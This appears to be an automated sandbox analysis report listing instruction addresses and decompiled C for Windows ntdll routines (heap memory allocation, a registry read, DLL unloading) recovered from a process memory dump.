0x00000000
0x6b49257e
0x6b492580
0x6b4dd22a
0x6b492930
0x6b492932
0x6b492791
0x6b492791
0x6b492797
0x6b4dd3b8
0x6b4dd3bf
0x6b4dd3c3
0x6b4dd3c3
0x6b49279d
0x6b4927a3
0x6b4927a9
0x6b492968
0x6b492971
0x6b492971
0x6b4927b3
0x6b4927be
0x6b4927be
0x6b4927c5
0x6b4927c9
0x6b4927cf
0x6b4927d1
0x6b4927d3
0x6b4927d3
0x6b4927d8
0x6b4927e5
0x6b4927f0
0x6b4dd3e0
0x6b4dd3e5
0x00000000
0x6b4927f6
0x6b4927ff
0x6b492800
0x6b492801
0x6b49280c
0x6b49280c
0x6b4927f0
0x6b49274b
0x6b492753
0x6b492755
0x6b49275e
0x6b4dd3a4
0x6b4dd3ad
0x6b4dd3ad
0x6b49276d
0x6b492776
0x6b492778
0x6b49277a
0x6b49277a
0x6b492776
0x6b492789
0x6b49278e
0x00000000
0x6b49278e
0x6b492588
0x6b49285d
0x6b49259a
0x6b49259c
0x6b49259e
0x6b4925a1
0x6b4925a5
0x6b4925a8
0x6b4925ac
0x6b4925b2
0x6b492600
0x6b492600
0x00000000
0x6b4925ba
0x6b4925be
0x6b4925d4
0x6b4925d8
0x6b49287b
0x6b4925e3
0x6b4925e3
0x6b4925e5
0x6b4925e5
0x6b4925eb
0x6b4dd246
0x6b4dd246
0x6b492602
0x6b492604
0x00000000
0x00000000
0x6b49260c
0x6b4928cf
0x6b4928d3
0x6b4928d7
0x6b4928d7
0x6b492617
0x6b49261f
0x6b492624
0x6b4dd24f
0x00000000
0x6b49262a
0x6b49262a
0x6b492633
0x6b49264a
0x6b49264e
0x6b4926cd
0x6b4926cd
0x00000000
0x6b492663
0x6b492663
0x6b49266a
0x6b4dd2c4
0x00000000
0x00000000
0x6b4dd2ca
0x6b492670
0x6b492678
0x6b49269c
0x6b4926a0
0x6b4926d7
0x6b4926d7
0x6b4926dd
0x6b4928e1
0x6b4928e8
0x6b4928ec
0x6b4928ec
0x6b4926e3
0x6b4926e5
0x00000000
0x00000000
0x6b4926eb
0x6b49270f
0x6b492714
0x6b492717
0x6b4928fc
0x6b4928fe
0x6b4dd352
0x00000000
0x6b4dd368
0x6b4dd368
0x00000000
0x6b4dd368
0x6b4dd352
0x6b492904
0x6b492904
0x6b49290a
0x6b4dd38b
0x6b4dd38f
0x00000000
0x00000000
0x6b4dd39d
0x6b4dd39d
0x6b492910
0x6b49291c
0x6b492920
0x00000000
0x00000000
0x6b492926
0x6b49292c
0x6b492983
0x6b492983
0x6b49292e
0x00000000
0x6b49292e
0x6b49271f
0x6b49286a
0x00000000
0x00000000
0x6b4dd349
0x6b492727
0x6b492738
0x6b492741
0x6b492745
0x00000000
0x00000000
0x00000000
0x6b492745
0x6b492725
0x6b492725
0x00000000
0x6b4dd325
0x6b4dd32a
0x6b4dd331
0x6b4dd33a
0x6b4dd33e
0x00000000
0x00000000
0x00000000
0x6b4dd344
0x6b4926eb
0x6b4926a7
0x6b4926ab
0x6b4926ad
0x6b4926b0
0x6b4926b4
0x6b4dd2cf
0x6b4dd2d8
0x00000000
0x6b4dd2e9
0x6b4dd2f6
0x6b4dd2ff
0x6b4dd302
0x6b4dd307
0x6b4dd30a
0x6b4dd30d
0x6b4dd312
0x6b4dd317
0x6b4dd31b
0x6b4926c4
0x6b4926c7
0x6b49293d
0x6b492943
0x6b49297b
0x6b492945
0x6b492945
0x6b492945
0x6b492949
0x6b49294d
0x6b4926d1
0x6b4926d1
0x6b4926d5
0x00000000
0x00000000
0x00000000
0x6b4926d5
0x00000000
0x6b4926c7
0x6b4dd2d8
0x6b4926ba
0x6b4926ba
0x6b4926bf
0x00000000
0x6b4926bf
0x6b49264e
0x6b492635
0x6b49263b
0x6b4dd25d
0x00000000
0x00000000
0x6b4dd263
0x6b4dd26a
0x6b4dd279
0x6b4dd2b4
0x6b4dd2b4
0x00000000
0x6b4dd2b4
0x6b4dd27b
0x6b4dd282
0x6b4dd28d
0x6b4dd2aa
0x6b4dd2ae
0x00000000
0x00000000
0x00000000
0x6b4dd2ae
0x6b4dd28f
0x6b4dd296
0x6b4dd29d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6b49263b
0x6b492624
0x6b4925f6
0x6b492886
0x6b49288d
0x6b492891
0x6b492897
0x6b49289e
0x6b4928a4
0x6b4928ba
0x6b4928be
0x00000000
0x00000000
0x6b4928c4
0x00000000
0x6b4928c4
0x6b4925fc
0x00000000
0x6b4925fc
0x00000000
0x6b492881
0x6b4925de
0x00000000
0x6b4925de
0x6b4dd23c
0x6b4dd23c
0x6b4dd23c
0x00000000
0x6b4dd23c
0x6b49285d
0x6b492590
0x00000000
0x00000000
0x00000000
0x00000000
0x6b492590

APIs

RtlFindCharInUnicodeString.1105(00000001,?,6B4511BC,00000000), ref: 6B4925CF
RtlGetFullPathName_UstrEx.1105(?,?,?,?,00000000,00000000,?,00000000), ref: 6B492697
memset.1105(?,00000000,0000002C), ref: 6B492789
RtlMultiAppendUnicodeStringBuffer.1105(?,00000002,?,00000001,?,6B4511BC,00000000), ref: 6B4928B5
RtlFreeUnicodeString.1105(?,?,?,00000001), ref: 6B492971
RtlDeleteBoundaryDescriptor.1105(00000000), ref: 6B4928E1

Part of subcall function 6B47AD30: RtlFreeHeap.1105(?,00000000,00000001,?,6B4A02E9,00000000,?,6B48ECFB,6B5684D8,6B5684D8,6B4C17F0,00000000,?,6B49F715,6B49F5C0,?), ref: 6B47AD43

Strings

minkernel\ntdll\sxsisol.cpp, xrefs: 6B4DD3D6
, xrefs: 6B4924E4
Status != STATUS_SXS_SECTION_NOT_FOUND, xrefs: 6B4DD3CC
Internal error check failed, xrefs: 6B4DD3DB
, xrefs: 6B4924C0

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Free$AppendBoundaryBufferCharDeleteDescriptorFindFullHeapMultiName_PathUstrmemset
String ID: $ $Internal error check failed$Status != STATUS_SXS_SECTION_NOT_FOUND$minkernel\ntdll\sxsisol.cpp
API String ID: 3547848382-3393094623
Opcode ID: 81e869dcde0a4e8626076fc0b5871ada5038a86fc407893228d5d6a0c9ea38df
Instruction ID: 933a49023995cc1c0f70f0994378b794d9f0bd2362f1dbe48d8b7db80e1f1a61
Opcode Fuzzy Hash: 81e869dcde0a4e8626076fc0b5871ada5038a86fc407893228d5d6a0c9ea38df
Instruction Fuzzy Hash: 600279719487518BD720EF28D090F9BBBE5BF89B04F00496EE99897350EB78D845CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6B49A229, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 183
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6B49A229(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				char _v28;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v60;
				void* __ebx;
				signed int _t55;
				signed int _t57;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t71;
				signed char* _t74;
				intOrPtr _t75;
				signed char* _t80;
				intOrPtr _t81;
				void* _t82;
				signed char* _t85;
				signed char _t91;
				void* _t103;
				void* _t105;
				void* _t121;
				void* _t129;
				signed int _t131;
				void* _t133;

				_t105 = __ecx;
				_t133 = (_t131 & 0xfffffff8) - 0x1c;
				_t103 = __edx;
				_t129 = __ecx;
				E6B49DF24(__edx,  &_v28, _t133);
				_t55 =  *(_t129 + 0x40) & 0x00040000;
				asm("sbb edi, edi");
				_t121 = ( ~_t55 & 0x0000003c) + 4;
				if(_t55 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t129);
					_push(0xffffffff);
					_t57 = E6B4B9730();
					__eflags = _t57;
					if(_t57 < 0) {
						L17:
						_push(_t105);
						E6B53A80D(_t129, 1, _v20, 0);
						_t121 = 4;
						goto L1;
					}
					__eflags = _v20 & 0x00000060;
					if((_v20 & 0x00000060) == 0) {
						goto L17;
					}
					__eflags = _v24 - _t129;
					if(_v24 == _t129) {
						goto L1;
					}
					goto L17;
				}
				L1:
				_push(_t121);
				_push(0x1000);
				_push(_t133 + 0x14);
				_push(0);
				_push(_t133 + 0x20);
				_push(0xffffffff);
				_t61 = E6B4B9660();
				_t122 = _t61;
				if(_t61 < 0) {
					_t62 =  *[fs:0x30];
					 *((intOrPtr*)(_t129 + 0x218)) =  *((intOrPtr*)(_t129 + 0x218)) + 1;
					__eflags =  *(_t62 + 0xc);
					if( *(_t62 + 0xc) == 0) {
						_push("HEAP: ");
						E6B47B150();
					} else {
						E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *((intOrPtr*)(_t133 + 0xc)));
					_push( *((intOrPtr*)(_t133 + 0x14)));
					_push(_t129);
					E6B47B150("ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t122);
					_t65 = 0;
					L13:
					return _t65;
				}
				_t71 = E6B497D50();
				_t124 = 0x7ffe0380;
				if(_t71 != 0) {
					_t74 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t74 = 0x7ffe0380;
				}
				if( *_t74 != 0) {
					_t75 =  *[fs:0x30];
					__eflags =  *(_t75 + 0x240) & 0x00000001;
					if(( *(_t75 + 0x240) & 0x00000001) != 0) {
						E6B53138A(_t129,  *((intOrPtr*)(_t133 + 0x10)),  *((intOrPtr*)(_t133 + 0x10)), 8);
					}
				}
				 *((intOrPtr*)(_t129 + 0x230)) =  *((intOrPtr*)(_t129 + 0x230)) - 1;
				 *((intOrPtr*)(_t129 + 0x234)) =  *((intOrPtr*)(_t129 + 0x234)) -  *((intOrPtr*)(_t133 + 0xc));
				if(E6B497D50() != 0) {
					_t80 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t80 = _t124;
				}
				if( *_t80 != 0) {
					_t81 =  *[fs:0x30];
					__eflags =  *(_t81 + 0x240) & 0x00000001;
					if(( *(_t81 + 0x240) & 0x00000001) != 0) {
						__eflags = E6B497D50();
						if(__eflags != 0) {
							_t124 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						E6B531582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t124 & 0x000000ff);
					}
				}
				_t82 = E6B497D50();
				_t125 = 0x7ffe038a;
				if(_t82 != 0) {
					_t85 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
				} else {
					_t85 = 0x7ffe038a;
				}
				if( *_t85 != 0) {
					__eflags = E6B497D50();
					if(__eflags != 0) {
						_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
						__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
					}
					E6B531582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t125 & 0x000000ff);
				}
				 *((intOrPtr*)(_t129 + 0x20c)) =  *((intOrPtr*)(_t129 + 0x20c)) + 1;
				_t91 =  *(_t103 + 2);
				if((_t91 & 0x00000004) != 0) {
					E6B4CD5E0( *((intOrPtr*)(_t133 + 0x18)),  *((intOrPtr*)(_t133 + 0x10)), 0xfeeefeee);
					_t91 =  *(_t103 + 2);
				}
				 *(_t103 + 2) = _t91 & 0x00000017;
				_t65 = 1;
				goto L13;
			}

0x6b49a229
0x6b49a231
0x6b49a23f
0x6b49a242
0x6b49a244
0x6b49a24c
0x6b49a255
0x6b49a25a
0x6b49a25f
0x6b4e1c76
0x6b4e1c78
0x6b4e1c7e
0x6b4e1c7f
0x6b4e1c81
0x6b4e1c82
0x6b4e1c84
0x6b4e1c89
0x6b4e1c8b
0x6b4e1c9e
0x6b4e1c9e
0x6b4e1cab
0x6b4e1cb2
0x00000000
0x6b4e1cb2
0x6b4e1c8d
0x6b4e1c92
0x00000000
0x00000000
0x6b4e1c94
0x6b4e1c98
0x00000000
0x00000000
0x00000000
0x6b4e1c98
0x6b49a265
0x6b49a265
0x6b49a266
0x6b49a26f
0x6b49a270
0x6b49a276
0x6b49a277
0x6b49a279
0x6b49a27e
0x6b49a282
0x6b4e1db5
0x6b4e1dbb
0x6b4e1dc1
0x6b4e1dc5
0x6b4e1de4
0x6b4e1de9
0x6b4e1dc7
0x6b4e1ddc
0x6b4e1de1
0x6b4e1def
0x6b4e1df3
0x6b4e1df7
0x6b4e1dfe
0x6b4e1e06
0x6b49a302
0x6b49a308
0x6b49a308
0x6b49a288
0x6b49a28d
0x6b49a294
0x6b4e1cc1
0x6b49a29a
0x6b49a29a
0x6b49a29a
0x6b49a29f
0x6b4e1ccb
0x6b4e1cd1
0x6b4e1cd8
0x6b4e1cea
0x6b4e1cea
0x6b4e1cd8
0x6b49a2a9
0x6b49a2af
0x6b49a2bc
0x6b4e1cfd
0x6b49a2c2
0x6b49a2c2
0x6b49a2c2
0x6b49a2c7
0x6b4e1d07
0x6b4e1d0d
0x6b4e1d14
0x6b4e1d1f
0x6b4e1d21
0x6b4e1d2c
0x6b4e1d2c
0x6b4e1d2c
0x6b4e1d47
0x6b4e1d47
0x6b4e1d14
0x6b49a2cd
0x6b49a2d2
0x6b49a2d9
0x6b4e1d5a
0x6b49a2df
0x6b49a2df
0x6b49a2df
0x6b49a2e4
0x6b4e1d69
0x6b4e1d6b
0x6b4e1d76
0x6b4e1d76
0x6b4e1d76
0x6b4e1d91
0x6b4e1d91
0x6b49a2ea
0x6b49a2f0
0x6b49a2f5
0x6b4e1da8
0x6b4e1dad
0x6b4e1dad
0x6b49a2fd
0x6b49a300
0x00000000

APIs

ZwAllocateVirtualMemory.1105(000000FF,00000014,00000000,?,00001000,0000003C,000000FF,?,00000003,00000014,00000014), ref: 6B49A279

Part of subcall function 6B4B9660: LdrInitializeThunk.NTDLL(6B5018BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6B550810,0000001C,6B501616), ref: 6B4B966A

RtlGetCurrentServiceSessionId.1105(000000FF,00000014,00000000,?,00001000,0000003C,000000FF,?,00000003,00000014,00000014), ref: 6B49A288
RtlGetCurrentServiceSessionId.1105 ref: 6B49A2B5
RtlGetCurrentServiceSessionId.1105 ref: 6B49A2CD
ZwQueryVirtualMemory.1105(000000FF,?,00000003,00000014,00000014,00000000,?,?,?,-00000018,?,?,?,?,6B534C8F), ref: 6B4E1C84
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6B4E1DDC
DbgPrint.1105(ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix),00000000,?,?,?), ref: 6B4E1DFE

Strings

`, xrefs: 6B4E1C8D
HEAP: , xrefs: 6B4E1DE4
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 6B4E1DF9
HEAP[%wZ]: , xrefs: 6B4E1DD7

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$MemoryPrintVirtual$AllocateInitializeQueryThunk
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 1108326835-2586055223
Opcode ID: e5b13f94c4bde0a760b33396f7b7d8a72307f886f01ac4c958cba200dcc63d10
Instruction ID: 7567d4672fc98762459e843610873402237c7e44dd26396396a8f8214c5d8498
Opcode Fuzzy Hash: e5b13f94c4bde0a760b33396f7b7d8a72307f886f01ac4c958cba200dcc63d10
Instruction Fuzzy Hash: 6E51F0326496909FE312DB68D845F677BE8EF81B54F0405A8F5618B391D72CE802CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B476F60, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 235
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6B476F60(WCHAR* _a4, WCHAR* _a8, void* _a12, signed int _a16, void* _a20, unsigned int _a24, int* _a28) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				char _v32;
				void* _v36;
				void* _v44;
				long _v48;
				char _v52;
				char _v56;
				char _v60;
				int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				int _v80;
				signed int _t72;
				signed int _t81;
				WCHAR* _t88;
				int* _t96;
				void _t100;
				void _t106;
				void* _t107;
				int* _t108;
				long _t111;
				unsigned int _t113;
				unsigned int _t115;
				int _t117;
				void* _t118;
				intOrPtr* _t121;
				void* _t123;
				int _t126;
				void* _t127;
				void* _t128;
				void* _t131;
				signed int _t134;
				long _t136;
				void* _t137;
				signed int _t138;

				_t72 = _a16;
				_t111 = 0;
				_v44 = 0;
				_v52 = 0;
				_v48 = 0;
				_t131 = 0;
				if(_t72 != 0) {
					if(_t72 == 1) {
						goto L1;
					}
					_t81 = 0xc00000f1;
					L14:
					return _t81;
				}
				L1:
				_v28 = 0x18;
				_v20 = 0x6b4516a8 + _t72 * 8;
				_push( &_v28);
				_push(0x20019);
				_v24 = _t111;
				_push( &_v52);
				_v16 = 0x40;
				_v12 = _t111;
				_v8 = _t111;
				_t134 = E6B4B9600();
				if(_t134 != 0xc0000034) {
					if(_t134 < 0) {
						L10:
						if(_v52 != 0) {
							_push(_v52);
							E6B4B95D0();
						}
						if(_v48 != 0) {
							_push(_v48);
							E6B4B95D0();
						}
						if(_t131 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t111, _t131);
						}
						_t81 = _t134;
						goto L14;
					}
					RtlInitUnicodeString( &_v36, _a4);
					_v32 = _v60;
					_v28 =  &_v44;
					_push( &_v36);
					_push(0x20019);
					_v36 = 0x18;
					_push( &_v56);
					_v24 = 0x40;
					_v20 = _t111;
					_v16 = _t111;
					_t134 = E6B4B9600();
					if(_t134 == 0xc0000034) {
						goto L2;
					}
					L20:
					if(_t134 < 0) {
						goto L10;
					}
					_t88 = _a8;
					if(_t88 == 0) {
						_t88 = L"TargetPath";
					}
					RtlInitUnicodeString( &_v44, _t88);
					_t113 = _a24;
					_t136 = _t113 + 0x10;
					if(_t136 >= _t113) {
						_t131 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t136);
						if(_t131 != 0) {
							_push( &_v80);
							_push(_t136);
							_push(_t131);
							_push(2);
							_push( &_v60);
							_push(_v72);
							_t134 = E6B4B9650();
							if(_t134 < 0) {
								if(_t134 != 0x80000005) {
									goto L51;
								}
								L32:
								_t117 =  *(_t131 + 8);
								_t49 = _t131 + 0xc; // 0xc
								_t128 = _t49;
								_v80 = _t117;
								if(_t134 < 0) {
									L47:
									_t96 = _a28;
									if(_t96 != 0) {
										 *_t96 = _t117;
									}
									if(_t134 >= 0) {
										memcpy(_a20, _t128, _t117);
									}
									goto L51;
								}
								_t115 = _a24;
								if( *((intOrPtr*)(_t128 + (_t117 >> 1) * 2 - 2)) != 0) {
									_t117 = _t117 + 2;
									_v80 = _t117;
									if(_t115 < _t117) {
										_t134 = 0x80000005;
									} else {
										 *((short*)(_t128 + (_t117 >> 1) * 2 - 2)) = 0;
										_t117 = _v80;
									}
								}
								if(_t134 < 0 ||  *((intOrPtr*)(_t131 + 4)) != 2) {
									goto L47;
								} else {
									_t118 = _t128;
									_t61 = _t118 + 2; // 0xe
									_t137 = _t61;
									do {
										_t100 =  *_t118;
										_t118 = _t118 + 2;
									} while (_t100 != _v68);
									_t111 = 0;
									_t134 = E6B4A2440(0, _t128, _t118 - _t137 >> 1, _a20, _t115 >> 1,  &_v64);
									if(_t134 >= 0 || _t134 == 0xc0000023) {
										_t121 = _a28;
										if(_t121 != 0) {
											 *_t121 = _v64 + _v64;
										}
										if(_t134 == 0xc0000023) {
											_t134 = 0x80000005;
										}
									}
									goto L10;
								}
							}
							if( *((intOrPtr*)(_t131 + 4)) == 1 ||  *((intOrPtr*)(_t131 + 4)) == 2) {
								goto L32;
							} else {
								_t134 = 0xc0000024;
								goto L51;
							}
						}
						_t134 = 0xc0000017;
						goto L51;
					} else {
						_t134 = 0xc0000095;
						L51:
						_t111 = 0;
						goto L10;
					}
				}
				L2:
				_t127 = _a12;
				if(_t127 == 0) {
					goto L20;
				} else {
					_t123 = _t127;
					_t138 = _t123 + 2;
					goto L4;
					L4:
					_t106 =  *_t123;
					_t123 = _t123 + 2;
					if(_t106 != _t111) {
						goto L4;
					} else {
						_t107 = (_t123 - _t138 >> 1) + 1;
						_t126 = _t107 + _t107;
						_v64 = _t126;
						if(_t126 < _t107) {
							_t134 = 0xc0000095;
						} else {
							_t108 = _a28;
							asm("sbb esi, esi");
							_t134 = _t138 & 0x80000005;
							if(_t108 != 0) {
								 *_t108 = _t126;
							}
							if(_t126 <= _a24) {
								memcpy(_a20, _t127, _t126);
							}
						}
						goto L10;
					}
				}
			}

0x6b476f6b
0x6b476f6f
0x6b476f71
0x6b476f75
0x6b476f79
0x6b476f7f
0x6b476f83
0x6b4d20d3
0x00000000
0x00000000
0x6b4d20d9
0x6b477045
0x6b47704b
0x6b47704b
0x6b476f89
0x6b476f90
0x6b476f98
0x6b476fa0
0x6b476fa1
0x6b476faa
0x6b476fae
0x6b476faf
0x6b476fb7
0x6b476fbb
0x6b476fc4
0x6b476fcc
0x6b4d20e5
0x6b477025
0x6b47702a
0x6b4d22a1
0x6b4d22a5
0x6b4d22a5
0x6b477035
0x6b4d22af
0x6b4d22b3
0x6b4d22b3
0x6b47703d
0x6b4d22c8
0x6b4d22c8
0x6b477043
0x00000000
0x6b477043
0x6b4d20f3
0x6b4d20fc
0x6b4d2104
0x6b4d210c
0x6b4d210d
0x6b4d2116
0x6b4d211e
0x6b4d211f
0x6b4d2127
0x6b4d212b
0x6b4d2134
0x6b4d213c
0x00000000
0x00000000
0x6b4d2142
0x6b4d2144
0x00000000
0x00000000
0x6b4d214a
0x6b4d214f
0x6b4d2151
0x6b4d2151
0x6b4d215c
0x6b4d2161
0x6b4d2164
0x6b4d2169
0x6b4d2187
0x6b4d218b
0x6b4d219b
0x6b4d219c
0x6b4d219d
0x6b4d219e
0x6b4d21a4
0x6b4d21a5
0x6b4d21ae
0x6b4d21b2
0x6b4d21d0
0x00000000
0x00000000
0x6b4d21d6
0x6b4d21d6
0x6b4d21d9
0x6b4d21d9
0x6b4d21dc
0x6b4d21e2
0x6b4d2280
0x6b4d2280
0x6b4d2285
0x6b4d2287
0x6b4d2287
0x6b4d228b
0x6b4d2292
0x6b4d2297
0x00000000
0x6b4d228b
0x6b4d21f3
0x6b4d21f6
0x6b4d21f8
0x6b4d21fb
0x6b4d2201
0x6b4d2212
0x6b4d2203
0x6b4d2207
0x6b4d220c
0x6b4d220c
0x6b4d2201
0x6b4d2219
0x00000000
0x6b4d2221
0x6b4d2221
0x6b4d2223
0x6b4d2223
0x6b4d2226
0x6b4d2226
0x6b4d2229
0x6b4d222c
0x6b4d2240
0x6b4d224c
0x6b4d2255
0x6b4d225f
0x6b4d2264
0x6b4d226c
0x6b4d226c
0x6b4d2270
0x6b4d2276
0x6b4d2276
0x6b4d2270
0x00000000
0x6b4d2255
0x6b4d2219
0x6b4d21b8
0x00000000
0x6b4d21c0
0x6b4d21c0
0x00000000
0x6b4d21c0
0x6b4d21b8
0x6b4d218d
0x00000000
0x6b4d216b
0x6b4d216b
0x6b4d229a
0x6b4d229a
0x00000000
0x6b4d229a
0x6b4d2169
0x6b476fd2
0x6b476fd2
0x6b476fd7
0x00000000
0x6b476fdd
0x6b476fdd
0x6b476fdf
0x6b476fdf
0x6b476fe2
0x6b476fe2
0x6b476fe5
0x6b476feb
0x00000000
0x6b476fed
0x6b476ff1
0x6b476ff4
0x6b476ff7
0x6b476ffd
0x6b47704e
0x6b476fff
0x6b477002
0x6b477005
0x6b477007
0x6b47700f
0x6b477011
0x6b477011
0x6b477016
0x6b47701d
0x6b477022
0x6b477016
0x00000000
0x6b476ffd
0x6b476feb

APIs

ZwOpenKey.1105(?,?,?,?,00020019,00000018), ref: 6B476FBF

Part of subcall function 6B4B9600: LdrInitializeThunk.NTDLL(6B4B1119,?,?,00000018,?), ref: 6B4B960A

memcpy.1105(?,?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6B47701D
RtlInitUnicodeString.1105(?,?,?,?,?,?,00020019,00000018), ref: 6B4D20F3
ZwOpenKey.1105(?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6B4D212F
RtlInitUnicodeString.1105(?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6B4D215C
RtlAllocateHeap.1105(?,00000000,?,?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6B4D2182
ZwClose.1105(00000000,?,?,?,?,00020019,00000018), ref: 6B4D22A5

Strings

TargetPath, xrefs: 6B4D2151, 6B4D2156
@, xrefs: 6B4D211F

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitOpenStringUnicode$AllocateCloseHeapInitializeThunkmemcpy
String ID: @$TargetPath
API String ID: 1135747570-4164548946
Opcode ID: 492952665e1e82325f6b77d32993c497c19ec5c17f89e107ea6fff31c793512b
Instruction ID: 926c5a55081d8d60507171f55c0a1830c1ff4ab1dd4605dd298bbcb547ed9ca8
Opcode Fuzzy Hash: 492952665e1e82325f6b77d32993c497c19ec5c17f89e107ea6fff31c793512b
Instruction Fuzzy Hash: 7081AB729083169FD7209F28C890E9BB7B8FB85758F01856EFA5497210EB39DC45CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6B47F51D, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185
librarymemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6B47F51D(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v12;
				intOrPtr* _v16;
				void* _v20;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t54;
				intOrPtr _t63;
				intOrPtr _t76;
				signed int _t77;
				signed int _t86;
				void* _t88;
				signed int _t89;
				void* _t90;
				intOrPtr* _t91;
				intOrPtr _t92;
				intOrPtr* _t93;
				void* _t94;
				void* _t95;
				signed int _t101;
				intOrPtr* _t107;
				void* _t108;
				intOrPtr* _t109;
				void* _t110;
				intOrPtr* _t111;
				void* _t112;
				void* _t113;
				intOrPtr* _t115;
				void* _t116;
				signed int _t117;
				signed int _t118;
				signed int _t120;

				_t106 = __edx;
				_t93 = __ecx;
				_t120 = (_t118 & 0xfffffff8) - 0x14;
				_v8 =  *0x6b56d360 ^ _t120;
				_t115 = __ecx;
				_v24 =  *[fs:0x30];
				_t88 = 0;
				_v16 = __ecx;
				_push(_t108);
				if( *((intOrPtr*)(__ecx + 0x20)) == 0xfffffffc) {
					L3:
					 *(_t115 + 0x20) =  *(_t115 + 0x20) | 0xffffffff;
					E6B480225(_t88, _t93, _t108, _t115,  *(_t115 + 0x20));
					L4:
					if( *0x6b568472 != _t88) {
						_t106 =  *0x7ffe0330;
						_t89 =  *0x6b56b210; // 0x0
						_t94 = 0x20;
						_t93 = _t94 - (_t106 & 0x0000001f);
						asm("ror ebx, cl");
						_t88 = _t89 ^ _t106;
					}
					L6B48EEF0(0x6b5652d8);
					_t54 =  *_t115;
					while(1) {
						_v20 = _t54;
						if(_t54 == _t115) {
							break;
						}
						_t22 = _t54 - 0x54; // -84
						_t109 = _t22;
						__eflags =  *(_t109 + 0x34) & 0x00000008;
						if(( *(_t109 + 0x34) & 0x00000008) != 0) {
							_push(_t93);
							_t106 = 2;
							E6B488B80(_t109, _t106);
							__eflags = _t88;
							if(_t88 != 0) {
								 *0x6b56b1e0(_t109);
								 *_t88();
							}
							_t93 = _t109;
							E6B488800(_t93, 1);
							_t63 = _v32;
							__eflags =  *(_t63 + 0x68) & 0x00000100;
							if(( *(_t63 + 0x68) & 0x00000100) != 0) {
								_t93 = _t109;
								E6B4FEA20(_t93);
							}
						}
						__eflags =  *0x6b565780 & 0x00000005;
						if(__eflags != 0) {
							_t46 = _t109 + 0x24; // -48
							E6B4F5510("minkernel\\ntdll\\ldrsnap.c", 0xc5e, "LdrpUnloadNode", 2, "Unmapping DLL \"%wZ\"\n", _t46);
							_t120 = _t120 + 0x18;
						}
						_push(0);
						_push( *((intOrPtr*)(_t109 + 0x18)));
